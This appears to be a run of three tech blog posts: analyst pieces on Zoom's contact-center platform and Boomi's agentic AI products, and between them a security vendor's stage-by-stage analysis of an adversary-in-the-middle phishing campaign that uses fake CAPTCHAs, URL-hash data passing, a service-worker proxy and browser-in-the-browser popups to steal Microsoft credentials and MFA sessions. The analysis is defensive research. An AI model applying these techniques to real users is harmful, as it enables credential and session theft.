Zoom Contact Center is an omni-channel solution with a single routing engine. It enables businesses to engage with their customers over channels such as voice, video, SMS, and chat. In 2023, the company added Zoom Virtual Agent, initially as a chatbot, and now as an agentic AI platform. To close the gap with other contact center offerings, Zoom also added Zoom Workforce Engagement Management, which includes Zoom Workforce Management and Zoom Quality Management. Moreover, it has introduced Zoom AI Expert Assist, a ready-to-deploy AI agent to provide end-to-end interaction guidance to contact center agents. Moreover, Zoom CX Insights provides a conversational intelligence layer to synthesize data across the CX portfolio to provide more accurate insights for faster decision-making. With the aim to simplify workflows, the ability to integrate with third-party applications is crucial. The company is enabling this through Zoom Marketplace, which already supports integration with a wide range of business applications (e.g., Google Workspace, Jira, Microsoft Dynamics, Salesforce, and many more).

While Zoom is a relatively new competitor in the contact center market, it has seen strong traction and winning significant deals. Oracle is the largest customer so far as the company moves its 15,000 global services agents to Zoom and integrates the tools with Oracle’s existing workflows. Zoom also leverages Oracle Cloud Infrastructure (OCI) to run Zoom CX, which can appeal to enterprises using OCI extensively. There are other customers that Zoom can reference too. National Storage, a self-storage company based in Australia with over 250 centers across Australia and New Zealand, has adopted Zoom Contact Center to connect with customers as well as its centers together. The company is now engaging customers through multiple channels (e.g., chat, email, and video); using Zoom AI to gain insights into customer interactions; and using Zoom for internal meetings and webinars. This highlights the power of having a single platform for both employee and customer engagements. With the system in place, National Storage is also able to further strengthen its CX leveraging AI, for example, using Zoom AI Expert Assist to provide cues to operators during customer interactions so that they can offer the best solutions.

The local government of Nara City (Japan), has also adopted Zoom Phone, Zoom Contact Center, and Zoom Virtual Agent, to replace its legacy PBX and contact center solution. This is part of its efforts to improve citizen services (a population of about 350,000) through its ‘’Nara Digital City Hall’’ initiative and to drive digital transformation within municipal operations. This customer highlights the importance of integration between the cloud-based PBX and the contact center to deliver a seamless experience for employees. AI is a requirement as well. Nara City is looking to use AI features such as call recording, transcription, and summarization to enhance visibility and efficiency of phone operations. It is also leveraging Zoom Virtual Agent for automated voice inquiry response that is available to citizens 24 by 7, and it is using multiple models alongside its proprietary models to meet requirements (e.g., accuracy, compliance, and cost) of different use cases.

Enterprises understand that the delivery of superior CX will involve different business functions that interact with customers along the buying journey. Data and AI will play a key role in delivering the CX magic. But implementation is anything but straightforward. While enterprises see the potential of agentic AI, there are still concerns around data privacy, AI governance, security, and cost. Having the right business culture and skills is equally important. This means that to accelerate the adoption of Zoom CX, Zoom will need to expand its go-to market ecosystem to help enterprises implement the solution with confidence and delivering business values. This is totally different from selling a contact center solution, which traditionally only involves the customer service function. CX specialists, systems integrators, and consulting firms are now playing a more central role in supporting enterprises in their CX transformation.

The post Zoom is Delivering Better CX by Combining Communications, AI, and Workflow into One Platform appeared first on IT Connection.

How legitimate cloud platforms enable phishers to bypass MFA

Threat actors are increasingly exploiting legitimate cloud services to evade detection and streamline the deployment of their scam infrastructure. Cloud hosting services and decentralized networks have become primary platforms for hosting phishing pages and sites. Throughout 2025 and 2026, we have observed phishing operators steadily migrate toward platforms like Cloudflare Workers, Vercel, Netlify, GitHub Pages, and IPFS. This post analyzes the mechanics of a real-life adversary-in-the-middle (AitM) attack in a cloud environment and presents detailed statistics on the platforms and domains phishers abuse most frequently.

The cloud as a safe haven for phishers

Threat actors select platform-as-a-service (PaaS) offerings and distributed cloud environments to host phishing sites for much the same reasons legitimate software developers do:

  • Inherent trust and reputation. Phishing pages hosted on reputable platforms appear trustworthy, reducing suspicion among potential victims.
  • Most platforms offer generous free-tier developer plans. The onboarding process takes minutes and rarely requires Know Your Customer (KYC) identity verification. This enables a single operator to create hundreds of malicious accounts.
  • Evasion and anonymity. Attackers leverage native security features to obscure their true origin server IP address behind a CDN, which complicates detection for security vendors.

Additionally, these platforms allocate shared subdomains hosting millions of legitimate projects and websites. Security teams cannot simply block the parent domain or its subdomains without inflicting collateral damage on bona fide users – a limitation that malicious actors take advantage of. To counter this tactic, security vendors must advance content-based analysis methodologies.

Multi-stage AitM attack

Consider a modern AitM phishing campaign that leverages Cloudflare Workers, a widely adopted cloud platform. The attackers execute the operation through multiple HTML pages distributed across a compromised website and the cloud platform. Each page serves a specific function: harvesting target email addresses, initializing the reverse-proxy infrastructure, or spoofing the login form to capture multi-factor authentication (MFA) sessions.

Stage 1. Contact harvesting and network monitoring evasion

The attack typically begins with a phishing email that uses a plausible pretext – such as a request from a coworker to review documents – to entice the target into clicking a malicious link.

Upon clicking the link, the user is redirected to a fake CAPTCHA landing page hosted on a compromised legitimate website. This specific campaign used the https://t[REDACTED]e.com website, but any other variations are possible. In this scenario, the compromised page served as a disposable relay — vendor detection mechanisms typically block phishing links delivered directly via email much faster — to prevent the early discovery of the core phishing content hosted on Cloudflare.

If the user entered their email address and clicked Continue, the pseudo-CAPTCHA marked them as a human user and initiated a redirect. The primary objective of this stage is to harvest target email addresses, filter out bots, and route legitimate users to a subdomain of workers.dev. Such subdomains are generated automatically and free of charge by Cloudflare Workers. The victim’s email address was embedded in the URL hash (the part of the URL following the # character), allowing the page at [REDACTED].workers.dev to extract the email without issuing a request to the attacker’s server, thereby avoiding detection.

Stage 2. Initializing a transparent proxy

The user’s browser then loaded a [REDACTED].workers.dev page with #user@business.com at the end of the URL. At this point, the page presented the victim with a genuine CAPTCHA challenge. This step ensured that an actual user was interacting with the page rather than a security sandbox.

Another CAPTCHA, this time a legitimate one

Another CAPTCHA, this time a legitimate one

Once the user successfully completed the challenge, a service worker was registered in their browser. This is a special JavaScript file capable of running in the background and intercepting all network requests generated by the current tab. As this type of script was designed as a core component of progressive web apps (PWAs) to optimize load times and support offline functionality, browsers treat service workers as standard site feature and execute them without prompting for user consent as long as the website uses an HTTPS connection.

The attackers leveraged the service worker to deploy Ultraviolet, a legitimate open-source web proxy library, to dynamically rewrite all links and forms on the page. This forced every outgoing request – including those for Microsoft login credentials – to route through the attackers’ server rather than directly to the legitimate services.

Immediately upon loading, the page extracted the victim’s email address from the URL hash and stored it in the browser’s sessionStorage property so it would not be overwritten when the CAPTCHA loaded. This step also allowed the script to pre-fill the username field in the form automatically. A pre-populated login field enhanced the page’s credibility and bolstered user trust. Once the CAPTCHA was passed, the malicious script constructed a redirect URL for the third stage, appending the email retrieved from sessionStorage back to the hash. By passing the email via the URL hash across three consecutive stages, the attackers successfully kept it hidden from network attack detection systems.

Registering a service worker to intercept traffic

Registering a service worker to intercept traffic

Establishing a transparent proxy via an external library

Establishing a transparent proxy via an external library

Stage 3. Session hijacking and browser window spoofing

The final stage unfolded on a third page, combining adversary-in-the-middle (AitM) traffic interception with a browser-in-the-browser (BitB) UI spoofing technique. BitB attacks operate by rendering a block inside a legitimate webpage that visually mimics a native browser pop-up window.

In this case, the script hosted on the attacker’s page generated a pop-up visually identical to a native browser window, complete with window controls and a spoofed address bar showing a trusted Microsoft URL. Within this simulated window, an iframe loaded the authentic login interface, routed dynamically through the service worker reverse proxy created in Stage 2. When the victim entered their credentials and MFA code into the BitB window, the proxy script intercepted both the credentials and the session tokens. Combining BitB with AitM significantly increases the threat: BitB provides a convincing, trusted visual wrapper (displaying a legitimate URL and branding), while the hidden AitM proxy quietly handles traffic interception and session hijacking behind the scenes.

Upon successful login, the proxy instructs the interface to close the pop-up and redirect the victim to a generic system error page, such as SessionExpired. This minimizes suspicion: the victim assumes a technical glitch occurred and attempts to log in again, unaware that the attacker already has full access to the session.

Cloud platform phishing attack statistics

We analyzed phishing URLs hosted across popular cloud platforms – including Cloudflare, Netlify, and GitHub Pages – over a 12-month period spanning August 2025 to July 2026. The data below outlines trends in unique third-level domains exploited to deliver phishing content. In total, our security solutions blocked 224,984 unique third-level domains on cloud and decentralized services used in phishing attacks within that timeframe.

Number of unique third-level domains
(download)

Based on this telemetry, we compiled a list of the TOP 10 cloud domains most frequently abused in phishing campaigns over the specified period.

Number of phishing links

Unsurprisingly, Cloudflare and Vercel emerged as the undisputed leaders: both offer free tiers, automated SSL certificate issuance, and global CDNs. GitHub Pages ranked third. The widespread legitimate use of the github.io domain complicates bulk blocking efforts, as security teams risk limiting access to non-malicious projects.

Decentralized networks also warrant close attention – we posted on this subject in 2023. The ipfs.io and dweb.link domains function as IPFS gateways. The principal risk associated with these platforms is content persistence: even if a specific gateway gets blocked, the phishing page remains accessible via alternative nodes across the network.

The visual website builders Wix and Webflow also ranked among the TOP 10 (eighth and ninth, respectively). These platforms allow low-skilled individuals to build phishing pages rapidly without advanced coding expertise, which significantly lowers the barrier to entry for less capable malicious actors.

 

Domain Number of phishing links Platform
1 pages.dev 24.9% Cloudflare Pages
2 vercel.app 13.8% Vercel
3 github.io 13.7% GitHub Pages
4 netlify.app 10.0% Netlify
5 dweb.link 7.8% IPFS gateway
6 ipfs.io 5.3% IPFS (InterPlanetary File System)
7 workers.dev 2.5% Cloudflare Workers
8 wixstudio.com 1.9% Wix Studio
9 webflow.io 1.0% Webflow
10 azurewebsites.net 1.0% Microsoft Azure
Other 17.9%

In total, we identified and neutralized over 390,000 phishing pages hosted across legitimate cloud platforms and decentralized networks (IPFS) over the past 12 months. This data confirms that threat actors actively exploit the implicit trust associated with legitimate PaaS providers (such as Cloudflare Workers, Vercel, Netlify, and GitHub Pages) and IPFS gateways. High domain reputation, generous free tiers, and built-in evasion capabilities enable phishers to deploy multi-stage AitM attacks designed to hijack MFA sessions.

Recommendations

Traditional security controls, such as relying on HTTPS lock icons or reputation-based domain denylists, are inadequate against these attacks. The cloud provider’s apex domain maintains a positive reputation score, while attackers generate malicious subdomains programmatically and at scale.

Effective defense against these threats calls for a layered security posture:

  • Exercise caution with unexpected requests, even if they are served from reputable domains or secured with valid SSL/TLS certificates.
  • Treat any CAPTCHA interface requiring personal data input as a possible scam. Legitimate CAPTCHA challenges rarely request personally identifiable information, such as email addresses.
  • Inspect the URL in the address bar at the very top of the browser window. In BitB attacks, threat actors can render a fake browser pop-up displaying any target URL, even a legitimate one. However, the true address bar – located at the top of the main browser window alongside native navigation controls (Back, Forward, Refresh) – will continue to display the actual attacker-controlled domain.
  • Avoid entering credentials in pop-ups you did not expect to see. If a login or MFA form appears without your explicit action, close the tab immediately. Navigate to the intended service manually by entering its address directly into the browser.
  • Additional protection can be provided by Kaspersky Secure Mail Gateway for enterprise environments and Kaspersky Premium for personal correspondence. These robust email security solutions neutralize phishing links at the delivery stage before they reach the inbox.

Boomi Targets Agentic AI Governance, but Orchestration Remains Its Raison d’Etre

B. Valle

Summary Bullets:

• Boomi is evolving from an iPaaS into an enterprise platform combining integration, automation, API management, data management, and AI agent governance.

• GlobalData recently attended Boomi’s World Tour London 2026, where agentic AI was discussed at length around announcements including Boomi Connect, Boomi Orchestrate, and Boomi Companion.

Although Boomi has historically been best known as an integration platform as a service, or iPaaS, the company is going to great lengths to emphasize that it has evolved into an enterprise platform which activates data and workflows for customers and combines integration, automation, API management, data management, and AI-agent governance. The Boomi platform acts as the connective and orchestration layer between an organization’s applications, data, and AI systems, but is increasingly moving towards management of AI agents to help data enhance business processes.

The company is investing significant resources in its Runtime environment, a hybrid platform that customers can install either locally or in a virtual private cloud. Integration is an area of major focus for the vendor, with plans to bring all business workloads into Runtime, including workflows, AI agents, and eventually small language models. Boomi has a partnership with Red Hat to help manage the deployment of open-weight and proprietary models.

Boomi is not tied to a particular ecosystem, in the vein of providers such as ServiceNow; rather, it offers an independent API control pane across all ecosystems. For example, it can connect Salesforce with SAP, synchronize customer records, automate an order-to-cash process, expose the process as an API, send transactions to suppliers through EDI, and now help AI agents replicate the same process.

The company is expanding not just beyond integration but across all platform services including investments in data readiness with Meta Hub, with strong traction among customers thanks to the growing popularity of data management systems. Currently in preview, the Knowledge Hub will also allow customers to bring unstructured data into the platform.

In the realm of agentic solutions, Boomi has recently announced new products including Boomi Connect, Boomi Orchestrate, and Boomi Companion:

• Boomi Connect offers the governance layer, sitting between the AI layer and the enterprise applications in the customer organization, with secure access, tool scoping, and observability, connecting and integrating MCP and governance by creating a single stack for CSOs. It establishes secure connections between AI tools (Claude, Copilot, and Gemini) and enterprise applications thanks to more than 1,000 MCP-enabled tools.

• Boomi Orchestrate brings IT, business applications and agents together to solve complex problems by creating blueprints allowing customer teams to build solutions. While agentic platforms are quickly becoming commoditized, Boomi has focused on delivering its proprietary offering in a way that meets customer requirements.

• Boomi Companion enables existing AI tools to design, build, test, deploy, and diagnose Boomi integrations in natural language. It transforms prompts into integrations in any language the AI agent supports and offers AI-assisted development with Claude Code, Cursor, and more via open-source Agent Skills standard.
Boomi is also launching Boomi Prompt, although the release date is yet to be determined. Boomi Prompt will form a layer of intelligent routing that is not limited to routing the LLM but will route, sort out, and separate deterministic from probabilistic workflows so users do not waste tokens. This promises, when it comes out, to be a strong portfolio addition to help customers mindful of “tokenomics”, the management of costs driven by AI consumption.

Agent Studio, introduced last May, is an agent management platform for customers who have been undertaking integration processes for 20 years and do not want to start over with agents and replace everything. These types of enterprises are looking for slightly augmented intelligence to leverage agents for fixing things that are not working. Rather than starting over, they favor an integration process for testing applications. Customers are used to deterministic workflows and the Agent Studio offers an integration workflow in an structured form.

Boomi is focusing on the right objectives. In terms of governance, the company is in a solid position to benefit from a significant opportunity in the next two years as token budgets get out of control to help people to get back into deterministic processes and bring non-deterministic workflows back under control.

The caveat is that the portfolio is becoming very broad. Integration remains Boomi’s most mature and recognizable capability, while advanced data engineering, enterprise knowledge and agent-management products are newer expansion areas. Many customers may still look at the Boomi platform primarily as an enterprise connectivity and orchestration platform, but its advancements in agentic AI management should not be overlooked.

The post Boomi Targets Agentic AI Governance, but Orchestration Remains Its Raison d’Etre appeared first on IT Connection.

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